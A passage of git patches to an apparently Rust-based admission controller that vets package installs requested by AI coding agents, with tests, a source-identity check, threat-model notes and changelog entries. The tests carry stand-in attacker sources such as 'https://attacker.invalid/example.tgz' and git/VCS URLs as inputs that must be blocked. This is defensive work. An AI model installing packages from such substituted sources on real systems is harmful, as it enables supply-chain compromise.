https://github.com/pnpm/pnpm/blob/dc44db593500193cdb499769fac8f173fe25e501/pnpm/crates/cli/src/lib.rs - Podman Project. (2026). *podman-pull — Pull an image from a registry.* https://docs.podman.io/en/stable/markdown/podman-pull.1.html -- The Rust Project. (2026). *cargo install — The Cargo Book.* https://doc.rust-lang.org/cargo/commands/cargo-install.html +- Rust Project Developers. (2026). *cargo install—The Cargo Book.* https://doc.rust-lang.org/cargo/commands/cargo-install.html - SLSA Community. (2025). *SLSA specification, version 1.2.* https://slsa.dev/spec/v1.2/ - The Update Framework. (2026). *Specification, version 1.0.33.* https://theupdateframework.io/spec/ - Sigstore. (2026). *Sigstore documentation: Overview and security model.* https://docs.sigstore.dev/ ; https://docs.sigstore.dev/about/security/ -NIST SP 800-218 Rev. 1 / SSDF 1.2 is still a draft as of this document's 2026-09-02 verification and is tracked as informative rather than binding: https://csrc.nist.gov/Projects/ssdf/publications +NIST SP 800-218 Rev. 1 / SSDF 1.2 is still a draft as of this document's 2026-09-02 verification and is tracked as informative rather than binding: https://csrc.nist.gov/Projects/ssdf/publications \ No newline at end of file From 4cfdaf9060d0bee0b137dfc7d5d3ff5ec9c1a36d Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sat, 5 Sep 2026 00:10:16 +0900 Subject: [PATCH 208/247] test(admission): cover Cargo mutation flag variants --- .../cargo_overwrite_authority_contract.rs | 25 ++++++++++++++++++- 1 file changed, 24 insertions(+), 1 deletion(-) diff --git a/crates/agent-artifact-admission/tests/cargo_overwrite_authority_contract.rs b/crates/agent-artifact-admission/tests/cargo_overwrite_authority_contract.rs index ae36e527..550c96f6 100644 --- a/crates/agent-artifact-admission/tests/cargo_overwrite_authority_contract.rs +++ b/crates/agent-artifact-admission/tests/cargo_overwrite_authority_contract.rs @@ -14,7 +14,14 @@ fn cargo_overwrite_and_tracking_overrides_require_separate_review_authority() { // Cargo documents --force as permitting overwrite of existing crates/binaries // and --no-track as disabling install metadata and concurrent-install protection. // Neither side effect is represented by the approved artifact coordinate. - for unreviewed_mutation in [vec!["--force"], vec!["-f"], vec!["--no-track"]] { + for unreviewed_mutation in [ + vec!["--force"], + vec!["--force=true"], + vec!["-f"], + vec!["-fq"], + vec!["--no-track"], + vec!["--no-track=true"], + ] { let policy = approved_cargo_policy(); let mut argv = vec![ "cargo".to_string(), @@ -46,6 +53,22 @@ fn cargo_overwrite_and_tracking_overrides_require_separate_review_authority() { } } +#[test] +fn reviewed_cargo_install_without_mutation_override_remains_eligible() { + let policy = approved_cargo_policy(); + let intent = approved_cargo_intent(vec![ + "cargo".to_string(), + "install".to_string(), + ARTIFACT_ARGUMENT.to_string(), + "--locked".to_string(), + ]); + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Allow); + assert!(decision.reason_codes.is_empty()); +} + fn approved_cargo_policy() -> AdmissionPolicy { AdmissionPolicy { policy_id: "cargo-overwrite-authority-test".to_string(), From 7caadbb13b30ddbaf1890603cb473a4b431639c5 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sat, 5 Sep 2026 01:11:22 +0900 Subject: [PATCH 209/247] test(admission): reject npm package-spec source substitution --- .../npm_artifact_source_identity_contract.rs | 120 ++++++++++++++++++ 1 file changed, 120 insertions(+) create mode 100644 crates/agent-artifact-admission/tests/npm_artifact_source_identity_contract.rs diff --git a/crates/agent-artifact-admission/tests/npm_artifact_source_identity_contract.rs b/crates/agent-artifact-admission/tests/npm_artifact_source_identity_contract.rs new file mode 100644 index 00000000..9a9614e8 --- /dev/null +++ b/crates/agent-artifact-admission/tests/npm_artifact_source_identity_contract.rs @@ -0,0 +1,120 @@ +use wardnet_agent_artifact_admission::{ + AdmissionPolicy, AdmissionServiceConfig, ApprovedArtifact, ApprovedManifest, ArtifactCoordinate, + DecisionKind, InstallIntent, InstructionSource, InstructionSourceKind, admission_decision, + validate_service_config, +}; + +const MANIFEST_SHA256: &str = + "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"; +const ARTIFACT_SHA256: &str = + "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc"; +const PACKAGE_NAME: &str = "@cwl/example"; +const PACKAGE_VERSION: &str = "1.2.3"; +const REGISTRY_URL: &str = "https://registry.npmjs.org"; + +#[test] +fn npm_package_spec_cannot_replace_reviewed_registry_coordinate() { + for artifact_argument in [ + "https://attacker.invalid/example.tgz", + "git+https://attacker.invalid/example.git#deadbeef", + "alias@npm:@cwl/example@1.2.3", + "./local-package", + ] { + let policy = approved_npm_policy(artifact_argument); + let intent = approved_npm_intent(artifact_argument); + + let decision = admission_decision(&policy, &intent); + + assert_eq!( + decision.decision, + DecisionKind::Block, + "npm package-spec {artifact_argument:?} must not replace the reviewed registry name/version coordinate" + ); + assert!( + decision + .reason_codes + .iter() + .any(|reason| reason.as_str() == "artifact_not_approved"), + "coordinate/package-spec disagreement must report artifact_not_approved" + ); + } +} + +#[test] +fn exact_npm_registry_name_and_version_remain_allowed() { + let artifact_argument = format!("{PACKAGE_NAME}@{PACKAGE_VERSION}"); + let policy = approved_npm_policy(&artifact_argument); + let intent = approved_npm_intent(&artifact_argument); + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Allow); + assert!(decision.reason_codes.is_empty()); +} + +#[test] +fn service_config_rejects_npm_package_spec_that_disagrees_with_coordinate() { + let config = AdmissionServiceConfig { + configuration_version: "1".to_string(), + bind_address: "127.0.0.1:8787".to_string(), + max_request_body_bytes: 64 * 1024, + audit_log_path: "/var/lib/wardnet/agent-artifact-admission.ndjson".to_string(), + policy: approved_npm_policy("https://attacker.invalid/example.tgz"), + }; + + assert!( + validate_service_config(&config).is_err(), + "unsafe reviewed registry coordinate must fail during configuration admission" + ); +} + +fn approved_npm_policy(artifact_argument: &str) -> AdmissionPolicy { + AdmissionPolicy { + policy_id: "npm-artifact-source-identity-test".to_string(), + policy_revision: "1".to_string(), + allowed_executables: vec!["npm".to_string()], + approved_manifests: vec![ApprovedManifest { + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + sha256: MANIFEST_SHA256.to_string(), + }], + approved_artifacts: vec![ApprovedArtifact { + ecosystem: "npm".to_string(), + name: PACKAGE_NAME.to_string(), + version: PACKAGE_VERSION.to_string(), + registry_url: REGISTRY_URL.to_string(), + owner: "ContextualWisdomLab".to_string(), + sha256: ARTIFACT_SHA256.to_string(), + artifact_argument: artifact_argument.to_string(), + }], + } +} + +fn approved_npm_intent(artifact_argument: &str) -> InstallIntent { + InstallIntent { + request_id: "req-npm-artifact-source-identity".to_string(), + actor_id: "agent:test".to_string(), + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + operation: "install".to_string(), + argv: vec![ + "npm".to_string(), + "install".to_string(), + artifact_argument.to_string(), + "--ignore-scripts".to_string(), + ], + manifest_sha256: MANIFEST_SHA256.to_string(), + source: InstructionSource { + kind: InstructionSourceKind::ReviewedConfig, + uri: None, + content_sha256: None, + }, + artifacts: vec![ArtifactCoordinate { + ecosystem: "npm".to_string(), + name: PACKAGE_NAME.to_string(), + version: PACKAGE_VERSION.to_string(), + registry_url: REGISTRY_URL.to_string(), + owner: "ContextualWisdomLab".to_string(), + sha256: ARTIFACT_SHA256.to_string(), + artifact_argument: artifact_argument.to_string(), + }], + } +} From 551101f24973751a59e173717d3460ae633e84c4 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sat, 5 Sep 2026 01:12:59 +0900 Subject: [PATCH 210/247] test(admission): reject PyPI direct-source substitution --- .../pypi_artifact_source_identity_contract.rs | 120 ++++++++++++++++++ 1 file changed, 120 insertions(+) create mode 100644 crates/agent-artifact-admission/tests/pypi_artifact_source_identity_contract.rs diff --git a/crates/agent-artifact-admission/tests/pypi_artifact_source_identity_contract.rs b/crates/agent-artifact-admission/tests/pypi_artifact_source_identity_contract.rs new file mode 100644 index 00000000..fece97eb --- /dev/null +++ b/crates/agent-artifact-admission/tests/pypi_artifact_source_identity_contract.rs @@ -0,0 +1,120 @@ +use wardnet_agent_artifact_admission::{ + AdmissionPolicy, AdmissionServiceConfig, ApprovedArtifact, ApprovedManifest, ArtifactCoordinate, + DecisionKind, InstallIntent, InstructionSource, InstructionSourceKind, admission_decision, + validate_service_config, +}; + +const MANIFEST_SHA256: &str = + "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"; +const ARTIFACT_SHA256: &str = + "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc"; +const PACKAGE_NAME: &str = "example-package"; +const PACKAGE_VERSION: &str = "1.2.3"; +const REGISTRY_URL: &str = "https://pypi.org/simple"; + +#[test] +fn pypi_requirement_cannot_replace_reviewed_index_coordinate() { + for artifact_argument in [ + "example-package @ https://attacker.invalid/example.zip", + "git+https://attacker.invalid/example.git@deadbeef", + "./local-package", + ] { + let policy = approved_pypi_policy(artifact_argument); + let intent = approved_pypi_intent(artifact_argument); + + let decision = admission_decision(&policy, &intent); + + assert_eq!( + decision.decision, + DecisionKind::Block, + "pip requirement {artifact_argument:?} must not replace the reviewed index name/version coordinate" + ); + assert!( + decision + .reason_codes + .iter() + .any(|reason| reason.as_str() == "artifact_not_approved"), + "coordinate/requirement disagreement must report artifact_not_approved" + ); + } +} + +#[test] +fn exact_pypi_index_name_and_version_remain_allowed() { + let artifact_argument = format!("{PACKAGE_NAME}=={PACKAGE_VERSION}"); + let policy = approved_pypi_policy(&artifact_argument); + let intent = approved_pypi_intent(&artifact_argument); + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Allow); + assert!(decision.reason_codes.is_empty()); +} + +#[test] +fn service_config_rejects_pypi_requirement_that_disagrees_with_coordinate() { + let config = AdmissionServiceConfig { + configuration_version: "1".to_string(), + bind_address: "127.0.0.1:8787".to_string(), + max_request_body_bytes: 64 * 1024, + audit_log_path: "/var/lib/wardnet/agent-artifact-admission.ndjson".to_string(), + policy: approved_pypi_policy("example-package @ https://attacker.invalid/example.zip"), + }; + + assert!( + validate_service_config(&config).is_err(), + "unsafe reviewed index coordinate must fail during configuration admission" + ); +} + +fn approved_pypi_policy(artifact_argument: &str) -> AdmissionPolicy { + AdmissionPolicy { + policy_id: "pypi-artifact-source-identity-test".to_string(), + policy_revision: "1".to_string(), + allowed_executables: vec!["pip".to_string()], + approved_manifests: vec![ApprovedManifest { + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + sha256: MANIFEST_SHA256.to_string(), + }], + approved_artifacts: vec![ApprovedArtifact { + ecosystem: "pypi".to_string(), + name: PACKAGE_NAME.to_string(), + version: PACKAGE_VERSION.to_string(), + registry_url: REGISTRY_URL.to_string(), + owner: "ContextualWisdomLab".to_string(), + sha256: ARTIFACT_SHA256.to_string(), + artifact_argument: artifact_argument.to_string(), + }], + } +} + +fn approved_pypi_intent(artifact_argument: &str) -> InstallIntent { + InstallIntent { + request_id: "req-pypi-artifact-source-identity".to_string(), + actor_id: "agent:test".to_string(), + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + operation: "install".to_string(), + argv: vec![ + "pip".to_string(), + "install".to_string(), + artifact_argument.to_string(), + "--require-hashes".to_string(), + "--no-deps".to_string(), + ], + manifest_sha256: MANIFEST_SHA256.to_string(), + source: InstructionSource { + kind: InstructionSourceKind::ReviewedConfig, + uri: None, + content_sha256: None, + }, + artifacts: vec![ArtifactCoordinate { + ecosystem: "pypi".to_string(), + name: PACKAGE_NAME.to_string(), + version: PACKAGE_VERSION.to_string(), + registry_url: REGISTRY_URL.to_string(), + owner: "ContextualWisdomLab".to_string(), + sha256: ARTIFACT_SHA256.to_string(), + artifact_argument: artifact_argument.to_string(), + }], + } +} From ec724274ae99cd1c1f1eeb3535ea2efa8235aebc Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sat, 5 Sep 2026 01:13:10 +0900 Subject: [PATCH 211/247] feat(admission): bind package operand to reviewed source identity --- .../src/artifact_source_identity.rs | 58 +++++++++++++++++++ 1 file changed, 58 insertions(+) create mode 100644 crates/agent-artifact-admission/src/artifact_source_identity.rs diff --git a/crates/agent-artifact-admission/src/artifact_source_identity.rs b/crates/agent-artifact-admission/src/artifact_source_identity.rs new file mode 100644 index 00000000..510a6321 --- /dev/null +++ b/crates/agent-artifact-admission/src/artifact_source_identity.rs @@ -0,0 +1,58 @@ +use crate::InstallIntent; + +/// Return whether an install operand selects an artifact source that disagrees +/// with the reviewed registry/index name and exact version coordinate. +pub(crate) fn requests_unapproved_artifact_source(intent: &InstallIntent) -> bool { + let Some(executable) = intent.argv.first().map(String::as_str) else { + return false; + }; + let arguments = &intent.argv[1..]; + let supported_direct_install = match executable { + "npm" => arguments + .first() + .is_some_and(|argument| matches!(argument.as_str(), "install" | "i")), + "pnpm" | "bun" => arguments + .first() + .is_some_and(|argument| matches!(argument.as_str(), "add" | "install")), + "yarn" => arguments.first().is_some_and(|argument| argument == "add"), + "pip" | "pip3" => arguments + .first() + .is_some_and(|argument| argument == "install"), + "uv" => { + arguments.first().is_some_and(|argument| argument == "pip") + && arguments + .get(1) + .is_some_and(|argument| argument == "install") + } + _ => false, + }; + if !supported_direct_install { + return false; + } + + intent.artifacts.iter().any(|artifact| { + !artifact_argument_matches_reviewed_source( + &artifact.ecosystem, + &artifact.name, + &artifact.version, + &artifact.artifact_argument, + ) + }) +} + +/// Require registry/index-backed package ecosystems to encode the exact +/// reviewed name and version in the direct installer operand. This prevents a +/// policy coordinate from being paired with an npm alias/tarball/git/folder or +/// a pip direct URL/VCS/local source that has a different source authority. +pub(crate) fn artifact_argument_matches_reviewed_source( + ecosystem: &str, + name: &str, + version: &str, + artifact_argument: &str, +) -> bool { + match ecosystem { + "npm" => artifact_argument == format!("{name}@{version}"), + "pypi" => artifact_argument == format!("{name}=={version}"), + _ => true, + } +} From 13cd6dd06bc2ddc66dda45e00226d72cdeeb717d Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sat, 5 Sep 2026 01:13:28 +0900 Subject: [PATCH 212/247] fix(admission): reject package operand source substitution --- crates/agent-artifact-admission/src/lib.rs | 7 +++++++ 1 file changed, 7 insertions(+) diff --git a/crates/agent-artifact-admission/src/lib.rs b/crates/agent-artifact-admission/src/lib.rs index 73f64c73..e6385d0d 100644 --- a/crates/agent-artifact-admission/src/lib.rs +++ b/crates/agent-artifact-admission/src/lib.rs @@ -1,6 +1,7 @@ //! Fail-closed package-install admission primitives for AI coding agents. mod admission; +mod artifact_source_identity; mod artifact_variant; mod audit; mod cargo_install_authority; @@ -31,6 +32,12 @@ pub fn admission_decision( intent: &InstallIntent, ) -> AdmissionDecision { let mut decision = policy::admission_decision(policy, intent); + if artifact_source_identity::requests_unapproved_artifact_source(intent) { + if !decision.reason_codes.contains(&ReasonCode::ArtifactNotApproved) { + decision.reason_codes.push(ReasonCode::ArtifactNotApproved); + } + decision.decision = DecisionKind::Block; + } if artifact_variant::requests_unapproved_artifact_variant(intent) { if !decision.reason_codes.contains(&ReasonCode::ArtifactNotApproved) { decision.reason_codes.push(ReasonCode::ArtifactNotApproved); From dcf5c9e838ad9a60915ff9c1e04da4857a36d0e0 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sat, 5 Sep 2026 01:13:59 +0900 Subject: [PATCH 213/247] fix(config): fail closed on package source-coordinate drift --- crates/agent-artifact-admission/src/config.rs | 7 +++++++ 1 file changed, 7 insertions(+) diff --git a/crates/agent-artifact-admission/src/config.rs b/crates/agent-artifact-admission/src/config.rs index 6d8dfed5..47021328 100644 --- a/crates/agent-artifact-admission/src/config.rs +++ b/crates/agent-artifact-admission/src/config.rs @@ -7,6 +7,7 @@ use std::path::Path; use serde::{Deserialize, Serialize}; +use crate::artifact_source_identity::artifact_argument_matches_reviewed_source; use crate::policy::{ canonical_registry_url, is_permanently_forbidden_executable, supported_executable, valid_pinned_version, valid_text_field, @@ -197,6 +198,12 @@ fn validate_policy(policy: &AdmissionPolicy) -> Result<(), ConfigError> { || !valid_text_field(&artifact.owner, 512) || !is_sha256_hex(&artifact.sha256) || !valid_text_field(&artifact.artifact_argument, 1024) + || !artifact_argument_matches_reviewed_source( + &artifact.ecosystem, + &artifact.name, + &artifact.version, + &artifact.artifact_argument, + ) || !artifacts.insert(( artifact.ecosystem.as_str(), artifact.name.as_str(), From 3b478492c27373b8b1677a459ab2e4f87f6d9cb3 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sat, 5 Sep 2026 01:15:07 +0900 Subject: [PATCH 214/247] docs(security): bind package specs to reviewed source identity --- docs/security/agent-artifact-admission-threat-model.md | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/docs/security/agent-artifact-admission-threat-model.md b/docs/security/agent-artifact-admission-threat-model.md index 52c0d395..a4cedeff 100644 --- a/docs/security/agent-artifact-admission-threat-model.md +++ b/docs/security/agent-artifact-admission-threat-model.md @@ -6,7 +6,7 @@ A document can legitimately mention `npm install`, a package name, a CVE, or a URL. Those strings are not executable instructions at this boundary. An agent must first construct a structured intent, and the intent must independently satisfy policy. A package with valid Sigstore/SLSA evidence is still not locally authorized unless the reviewed policy allows its exact coordinates. Conversely, an approved coordinate without the required digest or provenance remains blocked. -The controller must not repair typos, prepend package scopes, infer maintainers, search for a similarly named package, downgrade HTTPS, transform a blocked command into an allowed one, reinterpret an approved workspace install as permission to write into a global/user/alternate install root or a caller-selected workspace/project set, reinterpret an approved Cargo source digest as permission to select an unreviewed feature set/binary/example/target/profile, overwrite an existing Cargo-installed crate or binary, disable Cargo install tracking/concurrent-install protection, reinterpret an approved PyPI coordinate as permission for pip or uv to select an unreviewed target platform/build variant or resolve undeclared transitive artifacts, reinterpret an approved registry coordinate as permission to fetch from an alternate index, registry, Git repository, local path, caller-selected npm configuration file, executable pnpmfile hook, caller-selected registry authentication file/principal, or caller-selected image-decryption key/passphrase, weaken or replace registry TLS certificate validation, accept a standalone `--` that creates a second option-parsing boundary, or let a package-manager-specific opaque configuration channel override reviewed source/safety/destination semantics. Any such behavior would convert untrusted input into authority or widen the reviewed command capability. +The controller must not repair typos, prepend package scopes, infer maintainers, search for a similarly named package, downgrade HTTPS, transform a blocked command into an allowed one, reinterpret an approved workspace install as permission to write into a global/user/alternate install root or a caller-selected workspace/project set, reinterpret an approved Cargo source digest as permission to select an unreviewed feature set/binary/example/target/profile, overwrite an existing Cargo-installed crate or binary, disable Cargo install tracking/concurrent-install protection, reinterpret an approved PyPI coordinate as permission for pip or uv to select an unreviewed target platform/build variant or resolve undeclared transitive artifacts, reinterpret an approved npm/PyPI registry or index coordinate as permission to substitute an alias, tarball URL, direct URL, VCS repository, local archive, local directory, alternate index or registry, caller-selected npm configuration file, executable pnpmfile hook, caller-selected registry authentication file/principal, or caller-selected image-decryption key/passphrase, weaken or replace registry TLS certificate validation, accept a standalone `--` that creates a second option-parsing boundary, or let a package-manager-specific opaque configuration channel override reviewed source/safety/destination semantics. Any such behavior would convert untrusted input into authority or widen the reviewed command capability. ## Operational security invariants @@ -16,7 +16,7 @@ The controller must not repair typos, prepend package scopes, infer maintainers, - Audit records are append-only from this process's point of view. Corruption, write failure or task failure cannot be converted into an allow response. - Policy is immutable for the lifetime of the v0.1 process. Runtime mutation requires a future explicit policy-lifecycle aggregate and authorization contract; it must not be smuggled into the current HTTP adapter. - Domain modules remain independent of Axum, Tokio, filesystem paths, provider SDKs and concrete storage adapters. `ddd_architecture_contract.rs` is the executable fitness gate. -- Package-manager source, destination, environment, workspace-scope, build-variant, destructive install mutation, dependency-cardinality, parser-boundary, trust/secret authority and opaque runtime-configuration overrides are admission capability changes, not ordinary argument detail. The admission kernel rejects the standalone `--` option terminator, explicit alternate trust roots/sources, alternate install roots/environments/workspace scopes, unbound Cargo feature/output/target/profile selectors, Cargo `-f` / `--force` overwrite authority and `--no-track` metadata/concurrent-install bypass, unbound pip/uv target and source-build selectors, npm caller-selected user/global configuration files and registry TLS trust overrides, Podman caller-selected registry authentication files/principals and image-decryption key/passphrase material, and pnpm's submitted dotted configuration channel. Admitted pip, pip3 and `uv pip install` commands require exact `--no-deps` so the resolver cannot add artifacts missing from the reviewed intent. Admitted pnpm installs require `--ignore-pnpmfile` because pnpm documents that `--ignore-scripts` does not suppress pnpmfile hooks. The downstream execution broker/quarantine runtime still owns actual artifact retrieval/decryption verification, secret/key access, filesystem, mount, process and network isolation. +- Package-manager source, destination, environment, workspace-scope, build-variant, destructive install mutation, dependency-cardinality, parser-boundary, trust/secret authority and opaque runtime-configuration overrides are admission capability changes, not ordinary argument detail. The admission kernel rejects the standalone `--` option terminator, explicit alternate trust roots/sources, alternate install roots/environments/workspace scopes, unbound Cargo feature/output/target/profile selectors, Cargo `-f` / `--force` overwrite authority and `--no-track` metadata/concurrent-install bypass, unbound pip/uv target and source-build selectors, npm caller-selected user/global configuration files and registry TLS trust overrides, Podman caller-selected registry authentication files/principals and image-decryption key/passphrase material, and pnpm's submitted dotted configuration channel. For the npm ecosystem, a direct operand must be the exact reviewed `@` registry coordinate; for PyPI it must be the exact reviewed `==` index coordinate. npm aliases, tarball/git/folder package specs and pip direct URL/VCS/local-source requirements therefore cannot inherit approval from a different reviewed registry/index coordinate. Unsafe source-coordinate drift is rejected both when service policy is loaded and when an install intent is admitted. Admitted pip, pip3 and `uv pip install` commands require exact `--no-deps` so the resolver cannot add artifacts missing from the reviewed intent. Admitted pnpm installs require `--ignore-pnpmfile` because pnpm documents that `--ignore-scripts` does not suppress pnpmfile hooks. The downstream execution broker/quarantine runtime still owns actual artifact retrieval/decryption verification, secret/key access, filesystem, mount, process and network isolation. ## Residual risk and future adapters @@ -30,8 +30,10 @@ SHA-256 equality proves byte identity only when the execution path independently - npm, Inc. (2026). *Config.* https://docs.npmjs.com/using-npm/config/ - npm, Inc. (2026). *Workspaces.* https://docs.npmjs.com/misc/workspaces/ - npm, Inc. (2026). *npm install.* https://docs.npmjs.com/cli/install/ +- npm, Inc. (2026). *Package spec.* https://docs.npmjs.com/cli/v11/using-npm/package-spec/ - npm, Inc. (2026). *npm exec.* https://docs.npmjs.com/cli/npm-exec/ - pip developers. (2026). *pip install.* https://pip.pypa.io/en/latest/cli/pip_install/ +- pip developers. (2026). *Requirement specifiers.* https://pip.pypa.io/en/latest/reference/requirement-specifiers/ - pip developers. (2026). *Repeatable installs.* https://pip.pypa.io/en/latest/topics/repeatable-installs/ - pnpm contributors. (2026). *.pnpmfile.mjs.* https://pnpm.io/pnpmfile - pnpm contributors. (2026). *Build settings.* https://pnpm.io/settings/build From e4def8f1266565bd898b1bd1a4b97338cf3ba236 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sat, 5 Sep 2026 01:15:42 +0900 Subject: [PATCH 215/247] docs(changelog): record package source-coordinate binding --- CHANGELOG.md | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 5f4179c2..03ad839b 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -6,6 +6,7 @@ - Added the independently deployable Agent Artifact Admission Controller for authenticated, loopback-only, fail-closed pre-execution package-install admission. Reviewed policy binds workspace manifests and exact artifact ecosystem/name/version/HTTPS registry/owner/SHA-256 evidence, structured argv, minimized append-before-response audit evidence, and deny-all defaults without taking over hostile-workload execution from the quarantine runtime. - Hardened package-manager command admission so approved artifacts cannot be reinterpreted by a different package-manager ecosystem or widened through alternate package sources, destinations, executable install hooks, parser boundaries, persistent trust mutation, integrity-verification disablement, opaque runtime configuration, or undeclared PyPI dependency resolution: standalone `--` option terminators are rejected so required safety flags cannot move behind a downstream CLI parsing boundary; npm-family commands bind to npm artifacts, pip/uv pip to PyPI, Cargo to Cargo, and Docker/Podman to OCI; npm caller-selected `--userconfig`/`--globalconfig` files and `--ca`/`--cafile`/`--strict-ssl` TLS trust overrides, pip source/root short and long forms, uv index/environment selectors, Cargo registry/Git/path/config/root selectors, npm workspace controls, pnpm `--dir`/`-C` working-directory, filter/recursive/workspace-root selectors, `--config.=` runtime overrides, and pnpmfile hooks not suppressed by `--ignore-scripts`, Yarn Classic `-W`/`--ignore-workspace-root-check`, Bun `--cwd`/`--filter`/`-F` workspace selectors, caller-supplied `--config`, `--trust` persistent `trustedDependencies` expansion, and `--no-verify` registry-integrity bypass, and contradictory lifecycle-script Boolean flags fail closed with stable reason codes. Admitted pnpm installs require both `--ignore-scripts` and `--ignore-pnpmfile`; admitted pip, pip3, and `uv pip install` commands require exact `--no-deps` so the resolver cannot add artifacts absent from the reviewed intent. +- Bound registry/index package source identity to the reviewed artifact coordinate: npm/pnpm/Yarn/Bun direct package operands must encode the exact reviewed `@`, and pip/pip3/`uv pip install` operands must encode the exact reviewed `==`. npm aliases, tarball/git/folder package specs and pip direct URL/VCS/local-source requirements cannot inherit approval from a different reviewed registry/index coordinate; unsafe policy drift fails closed during service configuration as well as request admission. - Bound Cargo install mutation authority to reviewed policy: caller-supplied `-f` / `--force` overwrite capability and `--no-track` metadata/concurrent-install bypass now fail closed as `artifact_not_approved` because the approved artifact coordinate does not authorize replacing existing binaries or disabling Cargo's install tracking/collision protection. - Bound PyPI approval to the reviewed artifact/build identity rather than caller-selected installer resolution or build variants: pip `--platform`, `--python-version`, `--implementation`, `--abi`, binary/source selectors, build-isolation controls, and `-C` / `--config-settings`, together with the corresponding `uv pip install` target-platform/binary/source/build/backend controls, fail closed as `artifact_not_approved` until policy can bind the selected distribution/build identity explicitly. - Bound OCI pull approval to the reviewed artifact identity rather than caller-selected client variants: Docker/Podman `--platform` and Podman-equivalent `--arch`, `--os`, and `--variant` selectors fail closed as `artifact_not_approved` until a versioned policy schema can authorize the selected platform-specific manifest identity or equivalent provenance. @@ -16,5 +17,5 @@ ### Operations -- Documented Agent Artifact Admission deployment, incident response, immutable policy rollout, audit durability, external provenance authority, package-manager ecosystem binding, package-manager trust/destination/parser controls, Cargo overwrite/tracking authority, PyPI artifact/build-variant and dependency-cardinality controls, exact-set OCI pull cardinality, OCI platform-variant and registry transport/authentication/decryption authority, Bun persistent trust and integrity-verification semantics, and current primary-source traceability. -- Documented administrator credential provisioning, rotation, rollout verification, rollback, evidence handling, and the boundary with the separate runtime-authentication fail-closed work tracked in issue #78. +- Documented Agent Artifact Admission deployment, incident response, immutable policy rollout, audit durability, external provenance authority, package-manager ecosystem binding, package-manager trust/destination/parser controls, package source-coordinate binding, Cargo overwrite/tracking authority, PyPI artifact/build-variant and dependency-cardinality controls, exact-set OCI pull cardinality, OCI platform-variant and registry transport/authentication/decryption authority, Bun persistent trust and integrity-verification semantics, and current primary-source traceability. +- Documented administrator credential provisioning, rotation, rollout verification, rollback, evidence handling, and the boundary with the separate runtime-authentication fail-closed work tracked in issue #78. \ No newline at end of file From 66e31739a0b20935cc3a93401d07fc827c59ab4c Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sat, 5 Sep 2026 01:16:09 +0900 Subject: [PATCH 216/247] test(architecture): include artifact source identity domain module --- .../tests/ddd_architecture_contract.rs | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/crates/agent-artifact-admission/tests/ddd_architecture_contract.rs b/crates/agent-artifact-admission/tests/ddd_architecture_contract.rs index 2bd8e9a0..eaaa35b0 100644 --- a/crates/agent-artifact-admission/tests/ddd_architecture_contract.rs +++ b/crates/agent-artifact-admission/tests/ddd_architecture_contract.rs @@ -6,6 +6,10 @@ const DOMAIN_SOURCES: &[(&str, &str)] = &[ ("admission.rs", include_str!("../src/admission.rs")), + ( + "artifact_source_identity.rs", + include_str!("../src/artifact_source_identity.rs"), + ), ("artifact_variant.rs", include_str!("../src/artifact_variant.rs")), ("oci_transport.rs", include_str!("../src/oci_transport.rs")), ("policy.rs", include_str!("../src/policy.rs")), From debcc2645b41b9f5339c7fbd64adfb1d0aeb3b99 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sat, 5 Sep 2026 01:35:56 +0900 Subject: [PATCH 217/247] test(admission): expose npm transitive dependency widening --- .../npm_dependency_cardinality_contract.rs | 107 ++++++++++++++++++ 1 file changed, 107 insertions(+) create mode 100644 crates/agent-artifact-admission/tests/npm_dependency_cardinality_contract.rs diff --git a/crates/agent-artifact-admission/tests/npm_dependency_cardinality_contract.rs b/crates/agent-artifact-admission/tests/npm_dependency_cardinality_contract.rs new file mode 100644 index 00000000..3fd097fd --- /dev/null +++ b/crates/agent-artifact-admission/tests/npm_dependency_cardinality_contract.rs @@ -0,0 +1,107 @@ +use wardnet_agent_artifact_admission::{ + AdmissionPolicy, ApprovedArtifact, ApprovedManifest, ArtifactCoordinate, DecisionKind, + InstallIntent, InstructionSource, InstructionSourceKind, admission_decision, +}; + +const MANIFEST_DIGEST: &str = + "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"; +const ARTIFACT_DIGEST: &str = + "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc"; +const ARTIFACT_ARGUMENT: &str = "@cwl/example@1.2.3"; + +#[test] +fn npm_family_direct_installs_fail_closed_without_reviewed_dependency_closure() { + for executable in ["npm", "pnpm", "yarn", "bun"] { + let (policy, intent) = approved_npm_family_install(executable); + + let decision = admission_decision(&policy, &intent); + + assert_eq!( + decision.decision, + DecisionKind::Block, + "{executable} direct install can resolve transitive artifacts absent from the reviewed direct artifact set" + ); + assert!( + decision + .reason_codes + .iter() + .any(|reason| reason.as_str() == "dependency_closure_unverified"), + "{executable} must expose that no reviewed transitive dependency closure is enforceable by this direct-install grammar" + ); + } +} + +fn approved_npm_family_install(executable: &str) -> (AdmissionPolicy, InstallIntent) { + let 